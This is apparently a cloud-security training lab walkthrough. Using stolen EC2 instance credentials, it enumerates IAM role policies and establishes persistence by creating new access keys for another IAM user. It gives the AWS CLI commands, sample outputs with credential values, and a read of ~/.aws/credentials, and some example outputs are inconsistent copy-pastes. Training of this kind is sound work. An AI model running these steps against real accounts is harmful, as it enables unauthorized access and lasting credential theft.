Lab 2 - Enumeration and Persistence
2.1 Enumeration
2.1.1 Whoami?
In order to confirm that we are using our newly aquired credentials we will use the GetCallerIdentity api call with the profile option to specify the instance-creds profile
Get Caller Identity
aws --profile instance-creds sts get-caller-identity
Example Results
{
"UserId": "AROA4EHKV54SOATTFJKSC:i-07bfa396de788aa46",
"Account": "833715826468",
"Arn": "arn:aws:sts::833715826468:assumed-role/ec2-limited-01/i-07bfa396de788aa46"
}
The last command returned an Amazon Resource Name(ARN). This is a unique identifier across all AWS environments and can be used for Idenitities, instances, buckets, or any other AWS object/resource.
Here is a breakdown of an ARNarn:aws:sts::833715826468:assumed-role/ec2-limited-01/i-07bfa396de788aa46:
| Command Segment | Description |
|---|---|
arn:aws:sts |
Indicates that the identity is assocaited with the AWS Security Token Service |
833715826468 |
AWS Account ID |
assumed-role |
Type of Resource |
ec2-limited-01 |
Role name |
i-07bfa396de788aa46 |
UserName of the identity making the call. Because we stole these credentials intended to be used by an instance, the UserName is the instance id of the machine that we exploited. |
2.1.2 What policy is associated with this instance profile role?
There are two ways to associate a policy with a role:
Attached Policies
An AWS admin can create numerous policies that can be "attached" to multiple entities across AWS.
Inline Policies
Create an "inline" policy only associated with a specific role, this policy can not be reused with other entities.
Let's see what policies are associated with our Role:
First, list the inline policies using the ListRolePolicies API call
Replace XX with Lab Number
This example call is using a placeholder of XX in the role name. This needs to be replaced with your Lab Number in order for it to work correctly.
List Inline Policies
aws --profile instance-creds iam list-role-policies --role-name ec2-limited-XX
Example Results
{
"PolicyNames": []
}
Looks like there are no inline policies associated with our role, but remember this isn't the only method for granting permissions to roles.
Next we'll list the attached policies using the ListAttachedRolePolicies API call:
Replace XX with Lab Number
This example call is using a placeholder of XX in the role name. This needs to be replaced with your Lab Number in order for it to work correctly.
List Attached Policies
aws --profile instance-creds iam list-attached-role-policies --role-name ec2-limited-XX
Example Results
{
"AttachedPolicies": [
{
"PolicyName": "ec2-limited-policy-01",
"PolicyArn": "arn:aws:iam::833715826468:policy/ec2-limited-policy-01"
}]
}
Looks like we got a hit! Just because we have the policy ARN/Name doesn't necessarily tell us what permissions we have. Let's move onto the next step to learn more about what permissions this policy grants us.
2.1.3 What permissions are associated with this policy?
First, let's pull back metadata about the policy using the GetPolicy API call
Replace XX with Lab Number
This example call is using a placeholder of XX in the role name. This needs to be replaced with your Lab Number in order for it to work correctly.
Get Policy
aws --profile instance-creds iam get-policy --policy-arn arn:aws:iam::833715826468:policy/ec2-limited-policy-XX
Example Results
{
"Policy":{
"PolicyName":"ec2-limited-policy-02",
"PolicyId":"ANPA4EHKV54SP4H7YSQW6",
"Arn": "arn:aws:iam::833715826468:policy/ec2-limited-policy-02",
"Path": "/",
"DefaultVersionId":"v1",
"AttachmentCount":1,
"PermissionsBoundaryUsageCount":0,
"IsAttachable":true,
"CreateDate":"2024-06-01T02:09:23Z",
"UpdateDate":"2024-06-01T02:09:23Z",
"Tags":[]
}
}
Take notice that the DefaultVersionId is 1, this tells us that when we run commands we are using v1 of this policy. This isn't always the case.
Next, let's pull back the v1 policy to learn what permissions we have with this role.
Replace XX with Lab Number
This example call is using a placeholder of XX in the role name. This needs to be replaced with your Lab Number in order for it to work correctly.
Get Policy Version
aws --profile instance-creds iam get-policy-version --policy-arn arn:aws:iam::833715826468:policy/ec2-limited-policy-XX --version-id v1
Example Results
{
"PolicyVersion":
{
"Document":
{
"Version": "2012-10-17",
"Statement": [{
"Effect":"Allow",
"Action":"iam:CreateAccessKey",
"Resource": [
"arn:aws:iam::833715826468:user/apollo-config-02",
"arn:aws:iam::833715826468:user/mercury-config"
]},
{
"Effect":"Allow",
"Action":
[
"iam:ListAccessKeys",
"iam:CreateLoginProfile"
],
"Resource": [
"arn:aws:iam::833715826468:user/apollo-config-02",
"arn:aws:iam::833715826468:user/mercury-config"
]},
{
"Effect":"Allow",
"Action":
[
"iam:ListRolePolicies",
"iam:GetPolicy",
"iam:ListAttachedRolePolicies",
"iam:GetPolicyVersion",
"iam:ListUsers"
],
"Resource": "*"
}
]
},
"VersionId":"v1",
"IsDefaultVersion":true,
"CreateDate":"2024-06-01T02:09:23Z"
}
}
Here's a breakdown of what we can run:
CreateAccessKey
CreateLoginProfile
ListAccessKeys
Against the users: `mercury-config` and `apollo-config-02`
ListUsers
GetPolicyVersion
ListAttachedRolePolicies
GetPolicy
ListRolePolicies
Against all resources in AWS
2.2 Establish Persistence
A common way to establish persistence is to create an alternate authentication method for an existing user. There are two options for a user to authenticate against AWS:
AWS Console Login Profile This is a user name and password combination used to log into the AWS console using via a web browser. A user can only have one login profile and it's created using the CreateLoginProfile.
AWS Access Keys Access keys are long term credentials used to access the AWS Console via the aws CLI. Each user can have a maximum of two access keys.
We have permissions to create access keys for both Apollo-Config and Mercury-Config users. Let's see if we can create an alternate authentication method for one of those users and pivot identities.
Create Alternate Authentication Methods for Users
2.2.1 Create Access Keys for Mercury
Create Access Key - Mercury
aws --profile instance-creds iam create-access-key --user-name mercury-config
Example Results
An error occurred (LimitExceeded) when calling the CreateAccessKey operation: Cannot exceed quota for AccessKeysPerUser: 2
You should have recieved a "LimitExceeded" error for this one which tells us that the Mercury-Config user already has two existing access keys. Not all hope is lost though, we have permissions to try the same two options against a second user (Apollo-Config-XX).
2.2.2 Create Access Keys for Apollo
Replace XX with Lab Number
This example call is using a placeholder of XX in the role name. This needs to be replaced with your Lab Number in order for it to work correctly.
Create Access Key - Apollo
aws --profile instance-creds iam create-access-key --user-name apollo-config-XX
Example Results
{
"AccessKey": {
"UserName": "apollo-config-01",
"AccessKeyId": "AKIA4EHKV54SPXFF2BRL",
"Status": "Active",
"SecretAccessKey": "yfaEMJl/5ElNFVL1ZVV1yV+hBMxFAQZ6vAJmSjba",
"CreateDate": "2024-06-02T02:38:16Z"
}
}
Bingo! We successfully created a set of access keys for the Apollo-Config-XX user.
Notice that we only recieved an AccessKeyId and SecretAccessKey but no SecurityToken like we did with the IMDS credentials.
Long term access keys, like the ones we just created do not require a SecurityToken because they do not exprie. Short term credentials, such as the ones associated with an instance profile do expire. When they expire, AWS grants the credentials a new SecurityToken and denies any request using the previous one.
2.2.3 Configure the AWS CLI to utilize the new set of credentials
Before we can use these credentials we need to configure aws cli with the new access keys.
Replace Placeholders
This example command is using a set of placeholder access keys. They need to be replaced with the resulting keys from the previous CreateAccessKey call.
Configure AWS CLI
aws configure set --profile apollo aws_access_key_id AKIAXXXXXXXXXXXXXXXX
aws configure set --profile apollo aws_secret_access_key XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Example Results
{
"AccessKey": {
"UserName": "apollo-config-01",
"AccessKeyId": "AKIA4EHKV54SPXFF2BRL",
"Status": "Active",
"SecretAccessKey": "yfaEMJl/5ElNFVL1ZVV1yV+hBMxFAQZ6vAJmSjba",
"CreateDate": "2024-06-02T02:38:16Z"
}
}
2.2.4 Verify that aws cli was configured correctly with the new access keys
Retrieve Configured AWS credentials
cat ~/.aws/credentials
Example Results
[instance-creds]
aws_access_key_id = ASIA4EHKV54SJVHOVNMM
aws_secret_access_key = Nvvo2sG8/EDcQFFvj5blB8ozZuzWXSP3x8fwmkrD
aws_session_token = IQoJb3JpZ2luX2VjEIz//...TRUNCATED....L8EdPH6W
[apollo]
aws_access_key_id =ASIA4EHKV54SJVHOVNMM
aws_secret_access_key = Nvvo2sG8/EDcQFFvj5blB8ozZuzWXSP3x8fwmkrD
You should see both the original instance-creds and the new apollo profile.
This means that we can now easily use either of these credentials by specifying the profile using the --profile flag
---
Section Recap
- Ran AWS API calls to learn what permissions are associated with the stolen instance creds
- Learned that the instance creds have the ability to create access keys and console login profiles
- Unsuccessfully created alternative authentication methods for mercury user
- Successfully created alternative authentication methods for apollo user
- Configured the aws cli to use the newly created apollo access keys
- Verified that the apollo profile was configured correctly